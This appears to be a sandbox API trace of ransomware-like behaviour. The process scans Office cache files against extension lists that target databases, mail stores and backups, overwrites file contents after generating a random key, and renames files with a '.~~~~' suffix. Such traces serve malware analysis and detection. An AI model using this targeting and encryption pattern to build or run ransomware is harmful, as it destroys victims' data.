	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".msc") returned 0x0
	[0076.091] lstrlenW (lpString=".com") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".com") returned 0x0
	[0076.091] lstrlenW (lpString=".lnk") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".lnk") returned 0x0
	[0076.091] lstrlenW (lpString=".msp") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".msp") returned 0x0
	[0076.091] lstrlenW (lpString=".pif") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".pif") returned 0x0
	[0076.092] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.092] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.092] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.094] lstrlenW (lpString=".sqb") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".sqb") returned 0x0
	[0076.094] lstrlenW (lpString=".ost") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".ost") returned 0x0
	[0076.094] lstrlenW (lpString=".txt") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".txt") returned 0x0
	[0076.094] lstrlenW (lpString=".mdt") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".mdt") returned 0x0
	[0076.094] lstrlenW (lpString=".BDB") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".BDB") returned 0x0
	[0076.094] lstrlenW (lpString=".eql") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".eql") returned 0x0
	[0076.094] lstrlenW (lpString=".DBF") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DBF") returned 0x0
	[0076.094] lstrlenW (lpString=".EQL") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".EQL") returned 0x0
	[0076.094] lstrlenW (lpString=".FDB") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".FDB") returned 0x0
	[0076.094] lstrlenW (lpString=".EDB") returned 4
	[0076.094] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".EDB") returned 0x0
	[0076.095] lstrlenW (lpString=".DACPAC") returned 7
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DACPAC") returned 0x0
	[0076.095] lstrlenW (lpString=".VHD") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".VHD") returned 0x0
	[0076.095] lstrlenW (lpString=".DBV") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DBV") returned 0x0
	[0076.095] lstrlenW (lpString=".dacpac") returned 7
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dacpac") returned 0x0
	[0076.095] lstrlenW (lpString=".sdf") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".sdf") returned 0x0
	[0076.095] lstrlenW (lpString=".accdb") returned 6
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".accdb") returned 0x0
	[0076.095] lstrlenW (lpString=".DBX") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DBX") returned 0x0
	[0076.095] lstrlenW (lpString=".MDT") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".MDT") returned 0x0
	[0076.095] lstrlenW (lpString=".SQB") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".SQB") returned 0x0
	[0076.095] lstrlenW (lpString=".vhd") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".vhd") returned 0x0
	[0076.095] lstrlenW (lpString=".bac") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".bac") returned 0x0
	[0076.095] lstrlenW (lpString=".mdf") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".mdf") returned 0x0
	[0076.095] lstrlenW (lpString=".BAK") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".BAK") returned 0x0
	[0076.095] lstrlenW (lpString=".BAC") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".BAC") returned 0x0
	[0076.095] lstrlenW (lpString=".dbs") returned 4
	[0076.095] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dbs") returned 0x0
	[0076.095] lstrlenW (lpString=".vhdx") returned 5
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".vhdx") returned 0x0
	[0076.096] lstrlenW (lpString=".NDF") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".NDF") returned 0x0
	[0076.096] lstrlenW (lpString=".dat") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dat") returned 0x0
	[0076.096] lstrlenW (lpString=".DBS") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DBS") returned 0x0
	[0076.096] lstrlenW (lpString=".CKP") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".CKP") returned 0x0
	[0076.096] lstrlenW (lpString=".edb") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".edb") returned 0x0
	[0076.096] lstrlenW (lpString=".PST") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".PST") returned 0x0
	[0076.096] lstrlenW (lpString=".dbf") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dbf") returned 0x0
	[0076.096] lstrlenW (lpString=".SQL") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".SQL") returned 0x0
	[0076.096] lstrlenW (lpString=".pst") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".pst") returned 0x0
	[0076.096] lstrlenW (lpString=".dbv") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dbv") returned 0x0
	[0076.096] lstrlenW (lpString=".SDF") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".SDF") returned 0x0
	[0076.096] lstrlenW (lpString=".dtxs") returned 5
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dtxs") returned 0x0
	[0076.096] lstrlenW (lpString=".db3") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".db3") returned 0x0
	[0076.096] lstrlenW (lpString=".OST") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".OST") returned 0x0
	[0076.096] lstrlenW (lpString=".dbx") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dbx") returned 0x0
	[0076.096] lstrlenW (lpString=".DB3") returned 4
	[0076.096] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DB3") returned 0x0
	[0076.097] lstrlenW (lpString=".DAT") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DAT") returned 0x0
	[0076.097] lstrlenW (lpString=".VHDX") returned 5
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".VHDX") returned 0x0
	[0076.097] lstrlenW (lpString=".ndf") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".ndf") returned 0x0
	[0076.097] lstrlenW (lpString=".DB") returned 3
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DB") returned 0x0
	[0076.097] lstrlenW (lpString=".sql") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".sql") returned 0x0
	[0076.097] lstrlenW (lpString=".MYD") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".MYD") returned 0x0
	[0076.097] lstrlenW (lpString=".DBT") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DBT") returned 0x0
	[0076.097] lstrlenW (lpString=".ACCDB") returned 6
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".ACCDB") returned 0x0
	[0076.097] lstrlenW (lpString=".fdb") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".fdb") returned 0x0
	[0076.097] lstrlenW (lpString=".bak") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".bak") returned 0x0
	[0076.097] lstrlenW (lpString=".myd") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".myd") returned 0x0
	[0076.097] lstrlenW (lpString=".DTXS") returned 5
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".DTXS") returned 0x0
	[0076.097] lstrlenW (lpString=".ckp") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".ckp") returned 0x0
	[0076.097] lstrlenW (lpString=".dbt") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dbt") returned 0x0
	[0076.097] lstrlenW (lpString=".db") returned 3
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".db") returned 0x0
	[0076.097] lstrlenW (lpString=".TXT") returned 4
	[0076.097] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".TXT") returned 0x0
	[0076.098] lstrlenW (lpString=".MDF") returned 4
	[0076.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".MDF") returned 0x0
	[0076.098] lstrlenW (lpString=".bdb") returned 4
	[0076.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".bdb") returned 0x0
	[0076.098] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.098] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a2fa8
	[0076.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.098] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.100] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.100] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.100] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19609036002) returned 1
	[0076.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97417710, dwHighDateTime=0x1d60e1e)) 
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0076.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0076.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7b88
	[0076.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0076.101] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.102] GetLastError () returned 0x0
	[0076.102] GetLastError () returned 0x0
	[0076.102] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.102] GetLastError () returned 0x0
	[0076.102] GetLastError () returned 0x0
	[0076.102] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.126] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.126] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.128] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.128] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.145] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.145] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.145] CloseHandle (hObject=0x11c) returned 1
	[0076.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0076.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.~~~~")) returned 1
	[0076.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0076.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.146] GetLastError () returned 0x0
	[0076.146] RtlWakeConditionVariable () returned 0x365f70
	[0076.146] GetCurrentThreadId () returned 0x3a4
	[0076.146] GetCurrentThreadId () returned 0x3a4
	[0076.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0076.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4608 | out: hHeap=0x300000) returned 1
	[0076.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9e0 | out: hHeap=0x300000) returned 1
	[0076.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4608
	[0076.146] lstrlenW (lpString=".scr") returned 4
	[0076.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".scr") returned 0x0
	[0076.147] lstrlenW (lpString=".cmd") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".cmd") returned 0x0
	[0076.147] lstrlenW (lpString=".dll") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".dll") returned 0x0
	[0076.147] lstrlenW (lpString=".bat") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".bat") returned 0x0
	[0076.147] lstrlenW (lpString=".cpl") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".cpl") returned 0x0
	[0076.147] lstrlenW (lpString=".sys") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".sys") returned 0x0
	[0076.147] lstrlenW (lpString=".msc") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".msc") returned 0x0
	[0076.147] lstrlenW (lpString=".com") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".com") returned 0x0
	[0076.147] lstrlenW (lpString=".lnk") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".lnk") returned 0x0
	[0076.147] lstrlenW (lpString=".msp") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".msp") returned 0x0
	[0076.147] lstrlenW (lpString=".pif") returned 4
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".pif") returned 0x0
	[0076.147] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.147] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.148] lstrlenW (lpString=".sqb") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".sqb") returned 0x0
	[0076.148] lstrlenW (lpString=".ost") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".ost") returned 0x0
	[0076.148] lstrlenW (lpString=".txt") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".txt") returned 0x0
	[0076.148] lstrlenW (lpString=".mdt") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".mdt") returned 0x0
	[0076.148] lstrlenW (lpString=".BDB") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".BDB") returned 0x0
	[0076.148] lstrlenW (lpString=".eql") returned 4
	[0076.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpSrch=".eql") returned 0x0
	[0076.148] lstrlenW (lpString=".DBF") returned 4
